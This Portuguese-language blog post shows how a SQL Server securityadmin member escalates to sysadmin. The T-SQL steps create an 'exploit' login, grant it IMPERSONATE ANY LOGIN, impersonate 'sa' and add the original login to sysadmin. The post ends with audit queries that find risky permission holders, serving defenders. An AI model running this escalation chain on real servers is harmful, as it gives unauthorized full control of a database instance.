- Auditoria no SQL Server (Server Audit)
- Como criar uma auditoria para monitorar a criação, modificação e exclusão de Jobs no SQL Server
- Como criar uma trigger de Auditoria para logar a manipulação de objetos no SQL Server
- SQL Server – Como implementar auditoria e controle de logins (Trigger de Logon)
- Monitorando operações de DDL e DCL utilizando a fn_trace_gettable do SQL Server
- Utilizando o trace padrão do SQL Server para auditar eventos (fn_trace_gettable)
- SQL Server – Trigger de auditoria de permissões e privilégios a nível de database e instância (GRANT e REVOKE)
- SQL Server – Como monitorar e auditar alterações de dados em tabelas utilizando Change Data Capture (CDC)
- SQL Server 2016 – Como “viajar no tempo” utilizando o recurso Temporal Tables
- SQL Server – Como utilizar auditoria para mapear permissões necessárias reais em um usuário
- SQL Server – Trigger para prevenir e impedir alterações em tabelas
- SQL Server – Como criar um histórico de alterações de dados para suas tabelas (logs para auditoria)
- SQL Server – Como evitar ataques de força bruta no seu banco de dados
- SQL Server – Checklist de Segurança – Uma SP com mais de 70 itens de segurança para validar seu banco de dados
- SQL Server – Como saber a data do último login de um usuário
- SQL Server – Como evitar e se proteger de ataques de Ransomware, como WannaCry, no seu servidor de banco de dados
- SQL Server – Cuidado com a server role securityadmin! Utilizando elevação de privilégios para virar sysadmin
- SQL Server – Como evitar SQL Injection? Pare de utilizar Query Dinâmica como EXEC(@Query). Agora.
- SQL Server – Entendendo os riscos da propriedade TRUSTWORTHY habilitada em um database
- SQL Server – Políticas de Senhas, Expiração de Senha, Troca de Senha Obrigatória e Bloqueio de Login após N tentativas
- SQL Server – Como criar uma auditoria de logins utilizando os logs da instância
Fala pessoal!
Nesse post eu gostaria de compartilhar com vocês uma situação extremamente perigosa que pode acabar passando desapercebida pela maioria dos DBA’s SQL Server, que é a utilização da role securityadmin ou das permissões ALTER ANY LOGIN e IMPERSONATE ANY LOGIN sem entender exatamente para que elas servem e o que alguém com essas permissões pode fazer.
Introdução
Segundo a documentação da Microsoft, que pode ser acessada clicando aqui, os membros da role securityadmin gerenciam logons e suas propriedades. Eles têm permissões de nível de servidor GRANT, REVOKE e DENY e podem ter essas mesmas permissões de nível de banco de dados também, se tiverem acesso ao banco de dados. Além disso, eles podem redefinir senhas para logons do SQL Server.
Apesar de eu já ter demonstrado essa demo em várias palestras pelo Brasil desde 2018 e também ter demonstrado no meu treinamento de Segurança de SQL Server, esse conteúdo ainda não estava disponível aqui no blog e por isso, eu gostaria de compartilhar isso com vocês.
securityadmin é igual a sysadmin?
Se você é um DBA que já adicionou algum usuário na role securityadmin após alguma solicitação e não chegou a questionar o motivo de precisar dessa role e não pesquisou mais sobre o que essa role pode fazer, deve estar preocupado agora.. rs
Na teoria, essas duas server roles são bem diferentes. A securityadmin é uma role que permite gerenciar logins e propriedades de logins. Já a role sysadmin, é uma role que permite fazer qualquer coisa, com privilégios irrestritos e nenhuma limitação de nada.
Então como que essas duas server roles são consideradas equivalentes, segundo a documentação da Microsoft?
Para demonstrar como isso funciona, criarei um usuário chamado teste_security_admin e vou associar esse usuário à server role securityadmin:
1 2 3 4 5 |
CREATE LOGIN [teste_security_admin] WITH PASSWORD = 'dirceu', DEFAULT_DATABASE=master, CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF GO ALTER SERVER ROLE securityadmin ADD MEMBER [teste_security_admin] GO |
Agora vou me conectar na instância utilizando o usuário recém-criado:
Agora verificarei como estão minhas permissões e o usuário conectado:
1 2 3 4 5 6 7 8 9 |
SELECT USER_NAME() AS [USER_NAME], USER AS [USER], SESSION_USER AS [SESSION_USER], SUSER_SNAME() AS [SUSER_SNAME], SUSER_NAME() AS [SUSER_NAME], ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN], IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN], IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN]; |
Apenas conferindo as permissões do usuário teste_security_admin:
1 2 |
SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER') |
Tudo certo e conforme o esperado até agora. Tentarei aumentar meus níveis de acesso:
Ok, não deu certo. Tentarei personificar um usuário sysadmin (sa) para fazer o que eu quiser depois.
Não deu certo também… Tentarei então dar acesso de IMPERSONATE ANY LOGIN para mim mesmo e personificarei um usuário sysadmin (sa) para fazer o que eu quiser depois.
A mensagem foi bem clara: Não posso modificar os meus próprios acessos.
Bom, enquanto membro da role securityadmin, tenho a permissão ALTER ANY LOGIN, o que me permite gerenciar as permissões de qualquer login e também criar/apagar logins. E se eu criar outro login então?
1 2 |
CREATE LOGIN [exploit] WITH PASSWORD = 'hacker', CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF, DEFAULT_DATABASE=master GO |
Agora darei acesso de IMPERSONATE ANY LOGIN para esse novo usuário. Com isso, poderei personificar o usuário “sa”.
1 2 3 4 5 |
USE [master] GO GRANT IMPERSONATE ANY LOGIN TO [exploit] GO |
Parece que deu certo. Testaremos se conectando na instância com esse novo usuário!
Vamos conferir as permissões atuais:
1 2 3 4 5 6 7 8 9 10 11 12 |
SELECT USER_NAME() AS [USER_NAME], USER AS [USER], SESSION_USER AS [SESSION_USER], SUSER_SNAME() AS [SUSER_SNAME], SUSER_NAME() AS [SUSER_NAME], ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN], IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN], IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN] SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER') |
Com apenas essa permissão de “IMPERSONATE ANY LOGIN” (sendo igualmente perigosa) que concedi para um novo login que acabei de criar, é que o estrago vem. Com essa permissão, posso personificar QUALQUER usuário da instância e executar comandos como se fosse ele (e herdando os mesmos níveis de permissão que ele possuir).
Veremos se isso é verdade mesmo e personificarei o usuário “sa”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
EXECUTE AS LOGIN = 'sa' GO SELECT USER_NAME() AS [USER_NAME], USER AS [USER], SESSION_USER AS [SESSION_USER], SUSER_SNAME() AS [SUSER_SNAME], SUSER_NAME() AS [SUSER_NAME], ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN], IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN], IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN] SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER') |
Eita! Agora estou executando comandos como se fosse o usuário “sa”!! Olhem aí porque esse usuário sempre deve ser desativado e renomeado para um nome não padrão, conforme explico no artigo SQL Server – Como desativar o login “sa” minimizando impactos.
Ainda não acredita em mim? Vamos fazer o meu usuário antigo virar um sysadmin então:
1 2 3 4 5 6 7 8 9 10 11 |
-- Verifica se o login está na role sysadmin SELECT IS_SRVROLEMEMBER('sysadmin', 'teste_security_admin') GO -- Adiciona o login na role sysadmin ALTER SERVER ROLE sysadmin ADD MEMBER [teste_security_admin] GO -- Verifica novamente se o login está na role sysadmin SELECT IS_SRVROLEMEMBER('sysadmin', 'teste_security_admin') GO |
E para finalizar, vou me conectar de novo com o usuário teste_security_admin só para não deixar dúvidas e executo novamente a validação de permissões.
Ataque de elevação de privilégios realizado com sucesso e acesso de sysadmin obtido. Agora consigo total controle da instância.
Quer saber quem são os usuários que possuem as permissões ALTER ANY LOGIN ou IMPERSONATE ANY LOGIN?
1 2 3 4 5 6 7 8 |
SELECT B.[name], A.[permission_name] FROM sys.server_permissions A JOIN sys.server_principals B ON A.grantee_principal_id = B.principal_id WHERE A.[permission_name] IN ( 'IMPERSONATE ANY LOGIN', 'ALTER ANY LOGIN' ) |
Quer saber quem são os logins que pertencem à server role securityadmin ou sysadmin?
1 2 3 4 5 6 7 8 9 |
SELECT B.[name] AS [role], C.[name] AS [usuario] FROM sys.server_role_members A JOIN sys.server_principals B ON A.role_principal_id = B.principal_id JOIN sys.server_principals C ON A.member_principal_id = C.principal_id WHERE B.[name] IN ( 'sysadmin', 'securityadmin' ) |
Espero que vocês tenham gostado dessa dica de segurança e que isso possa te ajudar a manter seus dados mais seguros.
Um grande abraço e até o próximo artigo.
Very good description. Many thanks